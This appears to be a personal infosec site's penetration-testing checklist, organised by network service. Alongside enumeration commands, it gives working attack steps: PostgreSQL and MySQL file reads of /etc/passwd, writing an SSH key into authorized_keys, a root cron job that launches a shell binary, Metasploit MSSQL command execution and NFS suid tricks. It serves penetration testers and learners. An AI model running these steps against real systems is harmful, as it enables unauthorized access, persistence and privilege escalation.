akde/infosec

Information security is ultimately about managing risk


  • Enumeration Optional Brute force with nmap.


  • Enumeration Mandatory Try to connect. Optional Priv­i­lege esca­la­tion with­in PSQL to supe­ruser: https://staaldraad.github.io/post/2020–12-15-cve-2020–25695-postgresql-privesc/ Try to read files: postgres=# CREATE TABLE demo(t text);CREATE TABLEpostgres=# COPY demo from '/etc/passwd';COPY 20postgres=# SELECT * FROM demo; Try to write a file: COPY (select convert_from(decode('c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFESWh5ZEc3aUQ5a0ZoMjJLMklmNFpyc2FvbHlINVBabkZZK3JqaXRKV3VXTGhjVTQxVWtVUEZOYVJJM1dZcVFWdlJZSlpHRTB1VkFacHJuZFJEbWJtMUVGZER0N1JLejdoQ0tJUytpTjNwMUVuVTcrOVpFVUdMTEYzc1NOTFFzalNmWTVJaTlzSWVHUU01UnltbURwdGp3VVJJaWk0Z3ErMTZzVWVnSTU4WHdlVkxIZ2R1M0wrVWJ1c2lxSHVyLy9sSy9KZTFsTnNNVnJuTXJ1dnZ6Q3dvdUNXL2ZSV1dXRGRUbXJ6MXNhbmx6N1F6QjNZS3RrdmxiNEthTE5kL20xaUJyaWtzMEkrM2Ruc3lGT1h4d1kzWkJjVHB2Q3k4ZzdueDllb28zTjJtVEVaSS83WUxIeGFWbTlMVDRzWEdDWUtUN3Z1eE1EUmZHajdYcnhQUGVUaEggcm9vdEBpbWFjMjAxOS1rYWxpCg==','base64'),'utf-8')) to '/var/lib/postgresql/.ssh/authorized_keys';


  • Enumeration Mandatory Try to con­nect with­in a win­dow man­ag­er:rdesktop $target Optional If you have shell acess, try to cre­ate a new user account which is in the group Remote Desk­top Users or add this group to an exist­ing user.


  • Enumeration Mandatory Try to con­nect to the DB. Enu­mer­ate with nmap:nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $target Optional If you have access to the DB:  Try to read local files:SELECT load_file('/etc/passwd'); Try to write files:CREATE TABLE bbb(content TEXT);INSERT INTO bbb (content) VALUES ("* * * * * root /tmp/shell_80.elf");SELECT * FROM bbb INTO OUTFILE '/etc/cron.d/ex1';


  • Enumeration Mandatory Deter­mine ver­sion:nmap -p 445 --script ms-sql-info $target If cre­den­tials are known:  Try to con­nect to the DB (alter­na­tive: Intel­liJ, …):sqsh -U sa -P $password -S $target:1433 Try to exe­cute com­mands:msf> use auxiliary/admin/mssql/mssql_execmsf> use windows/mssql/mssql_payload If mssql_exec does­n’t work, take care of domain/username and powershell.exe ‑com­mand type system. Optional Brute-force login (e.g. with msf> use…


  • Enumeration Mandatory Check con­fig­u­ra­tion:nmap -sSVC --script rmi-dumpregistry -p 1100 $target Optional Try msf> use scanner/misc/java_rmi_server if class upload is pos­si­ble; if yes, try msf> use multi/misc/java_rmi_server. Try to exploit with BaRMIe.


  • Enumeration Mandatory Check which streams are open:nmap --script rtsp-url-brute -p 554 $target


  • Enumeration Mandatory Enu­mer­ate with ike-scan


  • See the LDAP checklist


  • Enumeration Mandatory Enu­mer­ate with nmap:nmap -n -sV --script "ldap* and not brute" $target Scan with LDAPsearch:ldapsearch -x -h $target -D '' -w '' -b "DC=BLA,DC=local" Con­nect to SSL ports:openssl s_client -connect $target:636 </dev/nullopenssl s_client -connect $target:3269 </dev/null


  • Detect SNMP-devices: nmap -sU --open -p 161 10.11.1.1-254 -oG mega-snmp.txt onesixtyone Brute force of com­mu­ni­ty strings against IPs. The fol­low­ing exam­ple tries to log in into SMTP devis­es via a giv­en IP and giv­en com­mu­ni­ty names. echo public > community echo private >> community echo manager >> community for ip in $(seq 1 254);do echo 10.11.1.$ip;done…


  • Enumeration Mandatory


  • Note: 139 = Net­BIOS is a ses­sion lay­er pro­to­col and ser­vice and dif­fer­ent from 445 SMB. Enumeration Mandatory If you have no cre­den­tials yet: If you have already user credentials: On Windows Optional


  • Enumeration Mandatory Get a list of reg­is­tered pro­grams via rpcbind/v2 (pre­vi­ous portmap­per!):rpcinfo -p $target Get a list of reg­is­tered pro­grams via rpcbind/3:rpcinfo -s $target If suc­cess­ful: Con­nect with the RPC con­sole:rpcclient -U "" $target Enu­mer­ate with the queries on the RPC pro­to­col post. Optional Try to brute-force accounts (no lock here!) Try oth­er enu­mer­a­tion tools from the…


  • Enumeration Mandatory Show users and process­es from known ports:ident-user-enum $target 139 445 … <- add all known ports here


  • Enumeration Mandatory Check if the tar­get expos­es open shares:showmount -e $target If there are some, try to mount them. If you can mount them, check if you can write files and set the s flag. (If in export no_root_squash is defined.) If yes, cre­ate a new file with a suid bit. Optional Try to use anoth­er NFS…


  • Enumeration Tools ker­brutepython3 /opt/kerbrute/kerbrute.py -domain thinc.local -users /usr/share/seclists/Usernames/Names/names.txt -dc-ip $target Alter­na­tive https://github.com/ropnop/kerbrute msf> use auxiliary/gather/kerberos_enumusers Per­form ASRE­PRoast


  • Manual enumeration Subdomain enumeration Put usu­al domain names (Seclists!) and iter­ate them with the bash $ for ip in $(cat list.txt); do host $ip.domain.com; done IP enumeration Enu­mer­ate an IP range to find domains $ for ip in $(seq 50 100); do host 38.100.193.$ip; done | grep -v "not found" Zone transfer Per­form a DNS zone…


  • Enumeration Mandatory Grab the banner. Tools Pata­tor (brute force)


  • Notes If the serv­er needs old cryp­to, use -oKexAlgorithms=+diffie-hellman-group1-sha1 OpenSSH 7.7. allows to enu­mer­ate exist­ing users. It could be pos­si­ble on Win­dows 10 ssh-agent to extract the keys. Keys Get fin­ger­prints nmap -p22 --script ssh-hostkey $target Get hostkeys nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full $target Extract fin­ger­prints from exist­ing key file: ssh-keygen -E md5 -lf /tmp/found_keyssh-keygen -E sha1…


About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';